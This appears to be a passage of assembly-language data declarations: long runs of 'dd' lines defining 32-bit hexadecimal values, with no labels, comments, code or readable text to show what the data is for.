dd 3EB4BDD3h, 0ECDE7709h, 0AD42DAA8h, 0E965F0ECh, 0E658437Ch
dd 146842D5h, 0E3AB2B9Ah, 0A69A3904h, 0B5C6F229h, 0B0D333AFh
dd 0B94E8A59h, 8A57392Bh, 0E7AB6702h, 0CD9DE340h, 0D1DD3AB7h
dd 0E2D36B4Ch, 7C2FB634h, 8AAC96D2h, 9CCD13CAh, 722EE736h
dd 0E314575Dh, 9F7950C4h, 20CF28B7h, 0A85FFEC5h, 0CA67AE55h
dd 0C6F5FAC8h, 0D9D42F4h, 0CA39DC8Ah, 900D14D8h, 8B145BEDh
dd 0A898390Fh, 356AA21Eh, 752239A8h, 5ADAB8B8h, 6A84D390h
dd 0D6DB98ECh, 6960F0CFh, 0F2C3F34Dh, 599C3FB8h, 0D7E61925h
dd 169A40DEh, 0E206296Dh, 0B4C52ECFh, 88F053E5h, 8B2C477Fh
dd 0FF723A1Ah, 331A14BCh, 76DB68D7h, 9100A18Fh, 0E5683793h
dd 2F5D695Eh, 619D2353h, 0C9D1B4CCh, 0ECF9460Fh, 1A6215D3h
dd 0A7E67DBh, 9CE0B622h, 0D3746147h, 315220B4h, 0E74EC36h
dd 7C24256Eh, 0A01791EFh, 16762051h, 35D5451Ah, 1FEF990Bh
dd 9E72D38Ch, 498B1053h, 0AD881C42h, 13AAB34Dh, 0F01C6076h
dd 2A04A8C4h, 73D7DDC6h, 0AAECA3E9h, 0D4EE02B8h, 5E8E0604h
dd 199C77BCh, 7CCA1BBh, 0D0072E1Ch, 17C639E3h, 6B91CABCh
dd 904674D7h, 2BF34A57h, 45FD22EBh, 0BCE5F448h, 2C7B9179h
dd 8BEB3C47h, 6CF7B4BAh, 95C85884h, 0CF94F4C9h, 8B19A2A1h
dd 1ED8B41h, 5F885E8Bh, 47A866E5h, 0FA275D84h, 0A14C6EE3h
dd 0F7767567h, 2C765924h, 830509DFh, 0C6D84ACh, 26620687h
dd 0AA2579CCh, 63FD5CDAh, 0D9A393DFh, 977E88ADh, 6FFF47B4h
dd 64EDE4C5h, 18CA5B94h, 4016AFDFh, 0EF78B97Ch, 1EFD47F0h
dd 0EB33678Bh, 3690A8E1h, 3C67D91Fh, 7379D9DEh, 74ACB273h
dd 58CC78AAh, 89D76321h, 44C74E5Fh, 78DB9FC4h, 0CFE88D44h
dd 0A1385022h, 0F2E6CCFDh, 0A4A15741h, 0F528589Ch, 58A7089h
dd 0C2089C56h, 3B99D866h, 6CD87E85h, 1C40FF18h, 97C21D80h
dd 0FAEC76CBh, 0E319BF11h, 3F1100FCh, 0C57BE1A3h, 0CF18BD7Bh
dd 0B68458Bh, 33A3E28Eh, 0E785A35Ch, 0C86760Fh, 0E24A43EEh
dd 0F29EA16Eh, 0E04A0C1h, 4E33E838h, 0D546E671h, 0DCFB8B99h
dd 3DE3B8FAh, 2BAE0A9Ch, 8DB8D119h, 5CC86983h, 53F86345h
dd 63937EF4h, 0C0AFAD04h, 55CB45E8h, 9CBF0B16h, 8ECD6F60h
dd 913D879Ah, 0F2B56A6Dh, 0CD58FF31h, 0D5DB070Dh, 0D160EDC2h
dd 0A2610DBEh, 0AA908243h, 513B7BF4h, 41674A80h, 284658E7h
dd 0CFF888ECh, 678889FFh, 0ABF8CB6Eh, 0B7537D24h, 3D6B9A17h
dd 0F4DE7A6h, 0D1F8ABEDh, 0CB7DD69h, 0CD1F3327h, 0AF7A37A3h
dd 1E35E34Bh, 72EA9F1Eh, 0CCB249E8h, 6852B25Dh, 44015BC5h
dd 2E184369h, 55F4F0EAh, 2D2FC93Ah, 2592F673h, 951340C7h
dd 59875F38h, 5FD221B1h, 0CD913660h, 5FC486C7h, 6943C8B1h
dd 0ED54BE7Eh, 0BB7D7CA8h, 0FC8CDF1Bh, 306E71F7h, 0C60DF5D3h
dd 8F8056C1h, 8B30B2FCh, 0E942FBD5h, 86F943E9h, 82EC23EAh
dd 0D453F35Fh, 501CC8D0h, 56DBB38Eh, 0DB48CD5Fh, 76615BFEh
dd 374D3316h, 2B3C25E4h, 1F2B142Eh, 56DF0DFCh, 9EAE1CB5h
dd 4DF5BF9Ah, 722C7457h, 91EBC8CBh, 83AD7F4Ah, 9ED542D9h
dd 0A5C7A053h, 0BA8A2DCAh, 49865E5Eh, 30908A9h, 60C05D34h
dd 708E57E0h, 3379F0F4h, 57F45A5Dh, 98723831h, 8DD47884h
dd 0CE2779B1h, 17A37F0Ch, 816EB583h, 0D0B85854h, 0D9CE48C3h
dd 95F0583Ah, 1E70F97Dh, 3E5D79C3h, 53CDFD58h, 662D428Fh
dd 6FD333C5h, 15C7AEE2h, 6F8D1433h, 0C0DDFBFAh, 5DB5EA1Eh
dd 0D158DF50h, 4351E4DEh, 9EC1A169h, 0EE925967h, 0E297A11h
dd 3E4E3A75h, 715962CDh, 437B25B4h, 472B35E9h, 3EFFBC83h
dd 0D83FF1C8h, 32732671h, 163A01DAh, 99E84543h, 8511878h
dd 0F46E0F03h, 41ADC5E0h, 0C4941C68h, 1B72D61Bh, 0B551A977h
dd 322521DCh, 718C2ACFh, 0C03BEEE2h, 79312955h, 4A5F397Fh
dd 0C32DFCF7h, 0CD3F4CE2h, 0B5FDCA60h, 53A98BF5h, 252DFB51h
dd 87A81C59h, 38CD4E8Ch, 0E39FCAA0h, 4D9E3E23h, 1A9173E6h
dd 0C30FA4C8h, 0A1751A22h, 57AA995Dh, 4FDB4A03h, 7B6D17C4h
dd 45D718A8h, 82744197h, 40996A03h, 38B353AFh, 6176D084h
dd 0EC14C842h, 4985FA3Ch, 3D15C306h, 5E1FE32Bh, 251B949Dh
dd 0A39E5279h, 765E8A2Bh, 5E5BD841h, 0CD336F88h, 4EFE6698h
dd 29B28AEFh, 0E595B96Ah, 0DF0CD783h, 36A30F45h, 0C3C348h
dd 6B32A215h, 60DC6932h, 0F8FB8DFh, 0BBFBF595h, 4959F185h
dd 4853EA1h, 1660F849h, 3592370Ch, 60C3DE9Dh, 26540A0Bh
dd 2AA7166Ah, 0F61511C9h, 340A1ECh, 58B78E97h, 17421388h
dd 0D0466326h, 22A4F618h, 7FF19E5Dh, 0C963DC7h, 0BF7DBBBDh
dd 3311432Fh, 1FD2147h, 4B8DC5h, 0C54B8FD7h, 82B317E3h
dd 0C5A67E85h, 0FE6B7CA2h, 381B548Fh, 0BB3936C7h, 8E394CCFh
dd 4B530318h, 0FCFCCDB0h, 7474FE13h, 9AD4025Ah, 0C0D0A55Bh
dd 0B2731F2Bh, 3C0D03B8h, 0FD1B37A4h, 6E606A57h, 0ED7A99F3h
dd 0F9559FE2h, 5587CBADh, 1E317B06h, 0AE7AB3DFh, 8A58569Eh
dd 40CD9826h, 0C193EA81h, 4D28772Dh, 0F8EE68D3h, 9A7291F6h
dd 23C9B032h, 0B9A4188Eh, 0BFCAFB23h, 7DFF91E0h, 0BBE9D1A2h
dd 797F2232h, 0F9660891h, 73B015DFh, 0AA628C28h, 0F5C0164Ah
dd 1EB2B4Dh, 0F0055E87h, 197A8E24h, 0AA86DA7Ch, 4F4A6D1Eh
dd 7F4DC2D0h, 0F8389DE5h, 26089053h, 0A7E0FAD1h, 0CB19E192h
dd 962572D8h, 0A03A0E0Fh
dd 12F35BBAh, 0F381834Eh, 2FDF9076h, 7FD9B83Ah, 79380650h
dd 0EEB2E7A5h, 8EC19E7h, 1C16406Eh, 0ECB7FD1h, 0EA4843A2h
dd 4490A434h, 73137FACh, 99FDFE8Ch, 0EE3E9B02h, 0EB720878h
dd 283432F7h, 6B4F53A6h, 8FA251CBh, 412F7A66h, 2BB3BDF2h
dd 0CF48C9E6h, 0C4032D4Eh, 4EBF2C25h, 93E39BD8h, 14A2B2E3h
dd 3043178Dh, 2214E1DFh, 0EFBF935Eh, 36F8595Fh, 8D057A1Ah
dd 84F02726h, 2545A381h, 0AD6AA432h, 0A9B7FA40h, 615F448Bh
dd 7FABC3FDh, 0B8FEC09Bh, 0E36CF1FEh, 93086B26h, 0B4D1FF2Ah
dd 0D276015Bh, 0D6D47CB6h, 1C76D27Ch, 72DAD1D0h, 3F157F5Fh
dd 0C4FF1083h, 96D18B8h, 0CEA79B48h, 0A7EE6CECh, 0AA99018Dh
dd 8765F748h, 5D6FF5F1h, 42407A5Bh, 0E57E8D50h, 0B3DA0799h
dd 0CCEA0847h, 7B67B622h, 380475F5h, 49013842h, 5B1C2FA8h
dd 0F4CA1F09h, 2812A7Fh, 33B2B57Bh, 6497E2A6h, 1D458F8Fh
dd 0C9A02066h, 0BAC4137Eh, 0F862E9A0h, 0C020CBCBh, 86241768h
dd 2728FB5h, 0C1E0FD88h, 208DFD6Bh, 0F7C56A52h, 0F27165B7h
dd 5919AD5Bh, 3C610B64h, 6DE24315h, 752D1ADDh, 0CD31B5BBh
dd 4E667F11h, 0BE79908h, 0A627F7B9h, 9B3DF61Bh, 2E6E63C0h
dd 1CC4B852h, 5F1CD1F5h, 5850405Ah, 69330118h, 5F18600Eh
dd 56F220C7h, 0BFE3AEC1h, 0EF5AD242h, 0D5FB2C59h, 7557D47Dh
dd 0DF598FECh, 6928EBCAh, 5839251Fh, 0EAEE159Ch, 59D12037h
dd 67B81D10h, 85FE83F0h, 0C666F0C9h, 0B6A9AE59h, 806E7721h
dd 7FA48430h, 8214B48h, 0B1F60CF2h, 54ABFB24h, 70DED4D0h
dd 0F1264A7Ah, 5E67ED21h, 6C43603h, 73068447h, 0DD8071F4h
dd 8ED3D7C2h, 0CD589004h, 4101D16Eh, 3FA80A01h, 0D0C61308h
dd 273E4124h, 5BD2B764h, 41111556h, 0D6B8A31Ch, 735CD815h
dd 0DB9EF726h, 0CF7D31C5h, 17B689C7h, 0E61AD72Ch, 0F37F8B6Ah
dd 0B79D3755h, 0EB7155DAh, 0D81C805h, 0E8FBD420h, 0F1B5DCDCh
dd 0B9440499h, 0C3C8D4Ch, 0D248EC36h, 0EC621DFEh, 31649DF4h
dd 0AD579E0Ah, 724BE697h, 458AAD59h, 762728F6h, 78A60563h
dd 0E444AFCFh, 1130668Ah, 3F32DB2Dh, 1C22C831h, 4AE34A5Ch
dd 438D07D6h, 0A83751ACh, 0A26AEC77h, 0EF8E43BFh, 7D6CDE97h
dd 73AEF4BBh, 7233041h, 45F49668h, 4DD051A7h, 0A9DAF89Bh
dd 0ACD3E495h, 9062A4Eh, 499EC7D7h, 0A3D91270h, 0E5A1F569h
dd 0A9F42435h, 0EB1DD663h, 92DE72BFh, 3DBD2B7Eh, 710F9F02h
dd 0F3C0DAECh, 0B7A20FDDh, 0C2F5C226h, 2A0B69A7h, 977EDFBh
dd 0AACCB678h, 0EAFAD0F1h, 5ABA544h, 2F96619Ah, 0B2069699h
dd 1B669C51h, 0F8115157h, 0B55AA957h, 904DC828h, 5ED5C557h
dd 8FF2EE5Dh, 2E2C4877h, 15911F36h, 0A671C56Eh, 93C705E4h
dd 406E6640h, 91EFEB2Eh, 3F935EF4h, 5AD0D24Dh, 0A3C492D4h
dd 3CDDBEDBh, 0A626AB6Bh, 474DB828h, 871AFB55h, 0C26F3782h
dd 0BD24097Dh, 49978F89h, 0E3DD9944h, 0C353ACCEh, 4DF0312Ah
dd 714D6053h, 0ABC17801h, 0CCB61C52h, 0C7B1811h, 0A9A0F913h
dd 0AF817863h, 5F6207D5h, 0D37CD9AFh, 76DB27F0h, 942274E5h
dd 6A1C6BD1h, 358727C3h, 67DB0931h, 0ECF11C15h, 0DF18BC68h
dd 96964969h, 3A221730h, 0AC852025h, 0B9689B1h, 991E86ECh
dd 0D6141D1Fh, 0CC11C9FAh, 1852F1BAh, 0CBDCB814h, 81AB5F5Ch
dd 0BC7C87FAh, 0BBDB2737h, 0B0EDEC32h, 8012094h, 0EAAEE0B8h
dd 3F7D6B9Dh, 0FC620464h, 5E3AA57Dh, 0B9F01F7Ah, 0AD9FF753h
dd 339DA588h, 0B8BC02E2h, 4827C88Bh, 0EC17915Bh, 7CAF6F83h
dd 0F65778ADh, 0A52AA421h, 409F04C0h, 83520D90h, 67D8E9BFh
dd 6FEA27C9h, 0D56F4B5Bh, 970BDB06h, 9680CD5Fh, 0BE68F5FDh
dd 0CE8B6FA7h, 566F8ACFh, 8DA83932h, 0B493D624h, 55B6D951h
dd 0A17D20D1h, 24A01B44h, 0DD4E452Ah, 0F700D142h, 8D8B0A13h
dd 0C04C1BD9h, 7E1F9A13h, 966F500h, 3EF9355h, 0ED28CD0Ah
dd 0A5622E85h, 49C102BDh, 4F40147Dh, 0F2E30527h, 9B8EADDBh
dd 0E40C57B0h, 44F3F7A9h, 0B0AF0A11h, 68709DACh, 51062DDCh
dd 9C0A172Fh, 0DF9BABA7h, 24A3A832h, 0F2CFA2BFh, 162C98DCh
dd 0D9071074h, 8169E796h, 0A92D95B4h, 38FF9DA8h, 0A6981B54h
dd 3FA2D92Bh, 0D19F3627h, 725CF084h, 0C3A957B4h, 6A5A6CE9h
dd 36DCE0Dh, 50ABFFA6h, 0F5D01440h, 0D449BDA6h, 325229E0h
dd 1EBD5EC9h, 21545C70h, 0C65C72ADh, 0C50597F6h, 5E8975C6h
dd 0F0EBDF66h, 4E7B1C8Ah, 0A61F5199h, 6A548332h, 0FB80FBDAh
dd 0F4E6222Fh, 18743E5Dh, 38FDD41Eh, 15F74708h, 0A195A94Bh
dd 0A51B906Eh, 1D3C13A8h, 8E0828B6h, 416A9190h, 4E13D5AAh
dd 44AB77EDh, 55B5A2DCh, 7562B6E3h, 0ADCB02AAh, 6FFD2678h
dd 0F61C487h, 0EF928BCFh, 9094D08Bh, 940B85F3h, 9B3C0729h
dd 0DFB81FB8h, 5B44C654h, 43B1A2B8h, 0C55A7FC6h, 0A21F2C7Bh
dd 9FDFAAADh, 57E97689h, 0DE12E622h, 60EE9712h, 26274298h
dd 845FF684h, 0A732DAFh, 0FCC035B3h, 0BA3ADC60h, 3590A868h
dd 0EEA256A3h, 8A8997F2h, 218E9051h, 9D391180h, 12E2E996h
dd 1D7CD285h, 0D5DB8D0Bh, 296853F4h, 101CAE14h, 10D7058Dh
dd 0BE97CACAh, 51EEB1F5h, 64112727h, 0BA290B16h, 57148FB5h
dd 151F95DFh, 15A5A588h, 8CFF5431h, 3527D501h, 0FE8286A3h
dd 37D46817h, 0F7B83FB2h, 0F38A6D81h, 5AA2FCD2h, 24CE0816h
dd 0B5634839h, 1CA0A09Fh, 0A3D1CD32h, 0BE107AD2h, 0F1AD09CEh
dd 2063C7A5h, 46F91D29h, 31E4BF9Eh, 0BC1D5A11h, 8B65A81Eh
dd 0EA457AE2h, 0A8946A50h, 6D2A5881h, 0D5DC2E96h, 0D27FDAD0h
dd 7A1B308h, 0CE9F8CB1h, 66FB7D9Ah, 2F8021E5h, 0BA12CAE8h
dd 4236AD93h, 0AA859453h, 0CB860E29h, 0E73B5C3Fh, 292711F2h
dd 361B8022h, 6939C64Eh, 3D1905CAh, 0BA213C68h, 14A1A697h
dd 9FFD6948h, 51C714AFh, 8374DBAFh, 243DB7F9h, 764C3887h
dd 2BE77FFh, 16B4924Fh, 45C4A0B6h, 3473C5C0h, 304D3BD0h
dd 4BC787D2h, 1A8FCE7Bh, 0D25E7F5Eh, 3BBDBE5Dh, 8209B0EBh
dd 0C0C17CB8h, 7BED4E2Bh, 69005A85h, 77D709BCh, 1130E236h
dd 766519AAh, 0B50B6019h, 37A22D3Ah, 3438C027h, 885AEB3Ch
dd 70BF6C2Eh, 5401DD1Fh, 0F3853356h, 0C0E75F8Dh, 11D18815h
dd 2578B923h, 6E1DDB91h, 945031E7h, 0D4201182h, 5F2F18CFh
dd 0D1DDF16Bh, 0F5D89D7h, 0C1EC427Bh, 55939FD4h, 64EF6E94h
dd 0F6980C01h, 3D76DC64h, 0BE9EA1CDh, 0AE565435h, 0DBE743F9h
dd 14309207h, 76E09B89h, 0B9343A07h, 836527FBh, 723A58F5h
dd 0C759D37Fh, 0D73398B6h, 1E75B7D8h, 9516DFFFh, 4353B012h
dd 396B01ACh, 534AFBD1h, 0E4BB55ECh, 0B89BE92Ah, 619FA8E8h
dd 10D37698h, 0CECE446Fh, 9C8196CEh, 0EE070744h, 528CF9C9h
dd 0D30E0FAEh, 14F8059h, 9E47276Eh, 588D7265h, 50F4A4D7h
dd 0D268BBA3h, 8FF58BA2h, 2F3DE139h, 0E0488194h, 5381BFDEh
dd 0FA4A3E31h, 14C0421Fh, 0AD50F59Ch, 0E067E8B9h, 0EB2BF90Ch
dd 51083A9Dh, 56EC6F7Dh, 94D1E65Eh, 53CA82F8h, 0F6E7F663h
dd 0F38BF672h, 0E59CC1D9h, 0EB72D965h, 235BB3DAh, 0B65BE169h
dd 0CEF1FC9Fh, 81019BD0h, 8B4772C7h, 0BCF519CEh, 0A1D10A76h
dd 0A937A0B5h, 59B98FF9h, 0CDF95146h, 4526F029h, 455DC4B9h
dd 0C024D906h, 0FC898C19h, 17725F3Eh, 103A671Ch, 0CEED05FFh
dd 0C50EDEC4h, 7FD0D067h, 706E6EBBh, 0C766AE0h, 0D046F772h
dd 0FB7FB736h, 9A19E333h
dd 0DC81612Ch, 0D678DBFCh, 0C068C4AFh, 0AA64E69Eh, 4242BAB8h
dd 28501D0Dh, 41024A90h, 0C2A39F39h, 24A36943h, 2645D5A8h
dd 0AB7F4A06h, 0C936C0F1h, 642D87FDh, 73B5F78Eh, 4D879A08h
dd 71746D47h, 0B95D9A6Ah, 0D171BCF0h, 1E78798Bh, 7901355Bh
dd 0EEA64A52h, 680E5FECh, 0EC3DA56Dh, 6483F4AEh, 60EC326Dh
dd 0EC11FC3Eh, 0B22382BCh, 0F22CE14Eh, 0B4BA517Bh, 167EEF80h
dd 6962915Ch, 6C7DB458h, 3EEDC0BBh, 0E8D891CBh, 4606563Fh
dd 8DCCE119h, 837EC3DEh, 0A27C533Fh, 7D408551h, 0B16DC826h
dd 72752855h, 0F1C26392h, 22608A50h, 2AAAE7B8h, 88EB66Ch
dd 7C2E1F62h, 1D433F2Eh, 0B517B96Dh, 0B20CCCEAh, 0B6FB7444h
dd 0C38B3F8Dh, 351D9C71h, 859C3AF3h, 275DB810h, 0E1799E1Bh
dd 0CC82ED8Dh, 97A6041h, 1EFB7419h, 7AA9DB7Eh, 35346231h
dd 0F17CE0AEh, 0E03E5FBh, 0FE7413Ah, 0A55498F8h, 0B8B64290h
dd 4BC9EF75h, 3E8B830Bh, 7F8E9751h, 0B63A5BE2h, 5602AB4Ah
dd 0C4D30075h, 4D7B6A4Bh, 0E3F8E970h, 0A2D781AAh, 98957466h
dd 0E598F1h, 0AF77E009h, 5A62B3BAh, 0DA2F1061h, 0FD79241Fh
dd 1165696Bh, 19137235h, 0AD7B1AF9h, 708532A3h, 5E0BC88Dh
dd 7FB26524h, 38721E6h, 591A87E7h, 8F657214h, 105CC858h
dd 87C95B94h, 1EF8DA47h, 0BF90E723h, 0C1E6E4D0h, 37630603h
dd 4641A335h, 7C06B9F8h, 29500269h, 12D14BF4h, 0B56409BEh
dd 84C465C3h, 0B7081BF0h, 0EB69DD82h, 156E6CB1h, 6378F787h
dd 0E7ACC255h, 75169EE8h, 0C28B6169h, 0C5E66892h, 32FA13DAh
dd 1C4B922Bh, 2229BF8Dh, 0B5CF8DFDh, 0A9DCFE32h, 0FEDE3791h
dd 7DBE3EB9h, 916404ADh, 6D02A980h, 0AD3A2736h, 9DD5FD38h
dd 27FD5532h, 7D401226h, 0AA85B2F1h, 2AEC83BDh, 4B91C7F2h
dd 0ACEE8B0h, 0AC64EE64h, 8D29CFC2h, 280BD978h, 0F800CAE0h
dd 6B9765A1h, 0A7E32349h, 0BFCF9452h, 27FF9D68h, 0F2D8FDE7h
dd 6DB4C6D3h, 0A4111B79h, 0FF42AEB0h, 0DC1A6A20h, 0DF5409B9h
dd 0A5BA67B7h, 27E684Eh, 1DB027ADh, 0A9BAC74Ah, 172294F0h
dd 63DA9CD5h, 9689E237h, 0B04231F5h, 7BB80EF2h, 4B190172h
dd 0A4346903h, 0A03379C9h, 0B4EF144h, 0FF592FC6h, 9F070DCAh
dd 0EAA8AFF8h, 0AF383846h, 0B7BAAEDDh, 0D41F4Dh, 0A7B203D8h
dd 434FAC23h, 0EED77EE5h, 2946237h, 9F9B6B7Bh, 0BD0588F1h
dd 2559D49h, 0E7D05C77h, 26509A4Ch, 2CF0AFB0h, 9A648E4Dh
dd 0B90E5580h, 3D67696Dh, 2B6FB01Ch, 64FA924Fh, 0E54486C4h
dd 0BE3E6D73h, 2F61A8ECh, 9A3FDCC1h, 339DED2h, 0E99FE254h
dd 74741204h, 666B1838h, 55E54014h, 75552314h, 910197C9h
dd 33AA4029h, 0C3359D61h, 6F644252h, 9BF62514h, 0C95934F2h
dd 53AD3221h, 0BC89C8B5h, 5141A542h, 0AC351FA7h, 800414ADh
dd 6CB0B61Dh, 0ECC9D72Fh, 6C70563Ah, 3A05D32Ch, 32BDF973h
dd 5918B7A2h, 3321C406h, 79ED47ACh, 0F5AEC829h, 76D851D8h
dd 0D1E84005h, 0FD467A12h, 0EABB53F9h, 0A539DCDAh, 9A6E3AA9h
dd 0DCDAECA1h, 3F6B2B0Ah, 0DA1C7FFEh, 74EB4CF0h, 0E1E31131h
dd 664935E0h, 47953DAFh, 0CDC0E9F6h, 0A394FEA2h, 0C9883873h
dd 0DAAFC022h, 5E8B4C85h, 5B2AC854h, 0C3E9EED6h, 0B8BBEA31h
dd 109E8FC9h, 651DD66Ch, 0A5D414EBh, 5F85C895h, 0C4153E59h
dd 0E7D12672h, 136C9ABBh, 3BC06166h, 95F64BD1h, 68A1BCFBh
dd 786D7EC8h, 886732BFh, 4C400761h, 29AAB819h, 9547FC20h
dd 83E5E8FDh, 5188BEBEh, 662E3B63h, 0B1609116h, 0BD905938h
dd 0C13ADBE2h, 7DB2ECADh, 87065D65h, 4CEB059Fh, 685D8918h
dd 654FF3FEh, 26493098h, 40C49035h, 0C4A6B027h, 1687F23Bh
dd 0F1C52753h, 67476946h, 0E868634h, 1198E12Ah, 0FDEF0F70h
dd 0B27BB014h, 5631BA59h, 883B47Bh, 2195F6CCh, 2A4B171Fh
dd 12AC646h, 0F0A7345h, 226AC29Eh, 0F19A0D47h, 0D92F9E71h
dd 0EB5DDADDh, 1EB8473Dh, 6DC17329h, 208DDD6Ah, 2FAA54B7h
dd 71EF6497h, 0F821F57h, 0F2545FA9h, 0BBCDF6BAh, 0C227685Ch
dd 596B99Eh, 0B74E5BDAh, 6BBB9602h, 1C9150A7h, 0EAE85251h
dd 0E29A8BF6h, 5B32F48Eh, 0BECE1015h, 0D6D758C8h, 0AFDAC108h
dd 3DDB984Bh, 32CAFF38h, 0CBA6B8E5h, 64D204AEh, 0BD1F7CB3h
dd 12FBE149h, 38B1C311h, 0D1F83280h, 573049B3h, 1BBF5E7h
dd 583B19F5h, 0DBCBBB5Bh, 69569DDDh, 3C49A10Eh, 282ED713h
dd 7DBF6CD2h, 0ADF5F2C0h, 887199F9h, 14B84D1Ah, 482CC5DCh
dd 4E31940Ah, 58BBACE0h, 0A1749690h, 2D7E6970h, 0A0CC29C4h
dd 6822CB4Ch, 0CA2810D3h, 448768C5h, 34E444D7h, 0CA6FB420h
dd 5961E923h, 49453D3Eh, 76E64112h, 2C432C59h, 4828A1A8h
dd 5CE28D30h, 929C27F3h, 0C181E796h, 12F5C5B4h, 71C025F5h
dd 63C725C1h, 122A0204h, 8572A917h, 0F0F6016Fh, 16060474h
dd 5B3098C2h, 64E02FCBh, 1523FBCCh, 0FD81A04Eh, 0CF54101h
dd 1EE2F1D0h, 1EC6EF30h, 0FFB02FE2h, 0A4D39ABFh, 0C85E3967h
dd 63E19CEDh, 14A6802Fh, 923F132Eh, 97995B7Ch, 0CA1A331h
dd 22DB9C6Eh, 4106E3F3h, 0D585FA3Dh, 13B811CCh, 0BB0697E4h
dd 2E1F2EBEh, 7E526E33h, 15B214F4h, 86F439FCh, 89F68092h
dd 0E2BE3F84h, 1C817201h, 0F1EE07D3h, 6024B734h, 252948D2h
dd 9F7D84CDh, 0C6DE17h, 0BE21C521h, 4E3DF19Fh, 149F864Dh
dd 14BFA8DDh, 0FC014F03h, 82322BA0h, 4DFC76ADh, 930EB079h
dd 0A790A0D1h, 76BDED1Fh, 853C5467h, 0C507C0BCh, 4F463E30h
dd 591313h, 14E9D45Fh, 0DBA94309h, 71CB8037h, 41E037C0h
dd 8DADEEFh, 0A5C6502Ah, 0F23CA8ADh, 1C89DF95h, 0FCD6247Ah
dd 0C84DB9C6h, 3B25FC6Fh, 779231A9h, 0B6600FEBh, 8DB30BEEh
dd 0F545ED48h, 673BEBDCh, 2E85BCCBh, 0C559C2DAh, 0A4E1ADAh
dd 0DA5C8445h, 0F488CF07h, 2C456A7Ch, 3357A7B7h, 2444A7DEh
dd 48BA4FAh, 8DE9EF5h, 99D47BDEh, 0AEDBA996h, 880D3188h
dd 18C13C70h, 5E601C06h, 0C1FF1528h, 9463A9BFh, 0B279BF84h
dd 3331C98Dh, 54C2D37Dh, 5F40D7B3h, 9AD3BD64h, 7806CAFh
dd 72423649h, 58B00762h, 0A6552341h, 0B2554621h, 0D12465D6h
dd 3345FF87h, 7246256Eh, 0AE212E58h, 0CC25F92Bh, 189C95DBh
dd 38CA7E91h, 84557259h, 0C86CD3C1h, 0D074D7E3h, 1DF516E0h
dd 0E933FF74h, 0BDD121CDh, 576DC24Ah, 9A2E806Fh, 93072191h
dd 7ADCF96Ah, 14E7F8FCh, 21BE67EEh, 48EB8959h, 0D8B9E8ECh
dd 7A4CABBAh, 6A14A0CAh, 754F88F3h, 147ACC20h, 122CEC5Dh
dd 386473F1h, 94ED9470h, 7513B09h, 695095Bh, 9D417882h
dd 4B8E1B8Bh, 0A760A83Eh, 0E39B042Eh, 0EABB717Fh, 9A0414E2h
dd 4AC8C211h, 3785122Bh, 3EA8DA0Dh, 0E26276ACh, 0C0D6AB55h
dd 3C9D41C3h, 0F2557A5Bh, 0DD38BB4h, 8F51A1F1h, 21279F65h
dd 2452AB18h, 0CF73CE7h, 0AF2F72DCh, 57391C9Fh, 39A9BCE4h
dd 59517A1Dh, 566A81F4h, 0F339EA55h, 0FB23235Ah, 90E93FFCh
dd 0B7BA6049h, 0DDADD85Fh, 26BF9DB0h, 45880CE1h, 2212327Ch
dd 1CCB119Bh, 8CF3F7D8h, 9108B2DAh, 0AAB9441Ch, 21DBA2E2h
dd 489B63ACh, 0C429FD61h, 0DAC7409Ah, 376F5567h, 61400B08h
dd 0AF19F38Dh, 78ECE522h, 0F4BF09D3h, 0D1250AEDh, 88B0A814h
dd 4D4F960Eh, 0AF13104Dh, 2710525Eh, 0B46D0E1h, 0F6DBD608h
dd 465F0650h, 3ABDF424h, 0EC6C5C38h, 7588D1D2h, 0FE839A2Dh
dd 1782462Dh, 0EC1B5D6Ch
dd 0E30C31CFh, 6813AAF0h, 208EFF98h, 2CD8E6C0h, 978E6EC5h
dd 0AC02F2ACh, 1E060AA4h, 28D45971h, 1F249468h, 0E27234D6h
dd 360F89DDh, 0B93C376Ah, 901114Fh, 1C553536h, 0D36750B9h
dd 744FDC32h, 0DC648085h, 0B0C2283Dh, 0A7AA8ECDh, 81D07183h
dd 4D3732EFh, 3E8C218Ah, 44A1D6AEh, 22C7E715h, 2E0540DAh
dd 0F72299C9h, 87039759h, 0C892D8C1h, 15E4F9CDh, 50F7B09Eh
dd 92900BADh, 0BC5B17EEh, 44E6D681h, 7666A81Fh, 8D1B1266h
dd 1B02C377h, 98A1D602h, 9BA7D305h, 0B21BD1BCh, 0DBB402AAh
dd 8E821C90h, 6E4A89B1h, 5CD9EE67h, 0B8B55F85h, 4334F1C5h
dd 84C23D6Ah, 283C8C5h, 9DA342F9h, 999D9C02h, 74C429BCh
dd 6AC9FA02h, 5C90C6E6h, 10E55417h, 5410DFA9h, 24ECD0A5h
dd 6C320147h, 6ABA6530h, 8ADBE844h, 0B8036BE9h, 0FC16433Bh
dd 0F7C7FC30h, 233000D8h, 0CA44D6BAh, 34582064h, 635B7385h
dd 0CF6C4B32h, 6AA414F6h, 0FAF6B6B6h, 0C64B36F1h, 0DDC960D2h
dd 67D4E989h, 8AD05D00h, 0A432DA1Ch, 21144C71h, 2A931541h
dd 11C6AAABh, 15E97E64h, 8D869736h, 0DA0DE13h, 0BC4A0B74h
dd 7D174AFDh, 0A286639Ah, 0BD3547EFh, 1EAB4FBh, 87BB382Dh
dd 296629CDh, 0DD1A2BE1h, 738F6C29h, 4006BCABh, 476BA4BFh
dd 0F9F3393Eh, 64055AA7h, 6AF3725h, 1052A467h, 9EF87F70h
dd 5C5FDAD3h, 0D7D9946Bh, 94AC5B9Eh, 0C6CFC3FDh, 58312901h
dd 37C39AC3h, 0B57B232h, 0BD425A29h, 2A6E48E7h, 0EC6CAF2Bh
dd 0E92D817Eh, 0F983BED7h, 0BA97362Ch, 0E4764C10h, 0B0EB4ED4h
dd 178A878Ch, 6546821Ch, 8014160Bh, 6EA526ABh, 62BA1AA2h
dd 8A4AAAE3h, 0ED639815h, 0DB203214h, 0C9944AA3h, 413F4964h
dd 7477E5CBh, 2E9D6079h, 4B1A6FBFh, 0B8C55B44h, 5BE68AD9h
dd 6517A74Ch, 37EC8508h, 0FDFE25DAh, 0BB624DDFh, 61E3775Ch
dd 0C2C4292Ah, 0C5E64160h, 0E79E1D5Bh, 0ABABCABDh, 0B31D6EB6h
dd 0BB8FB01Dh, 9F897C2Ah, 61F6353h, 56EF4F8Bh, 0B4C743F9h
dd 0E8F90FEAh, 587B003Fh, 98C441BAh, 4574E495h, 0F33370Bh
dd 0B2477227h, 196E25FDh, 47524E7Dh, 0EE21F554h, 37EC8E7Fh
dd 5D2C7079h, 0C3A63AFh, 2B4A6E99h, 0F8C0FE9Ah, 73686B9Bh
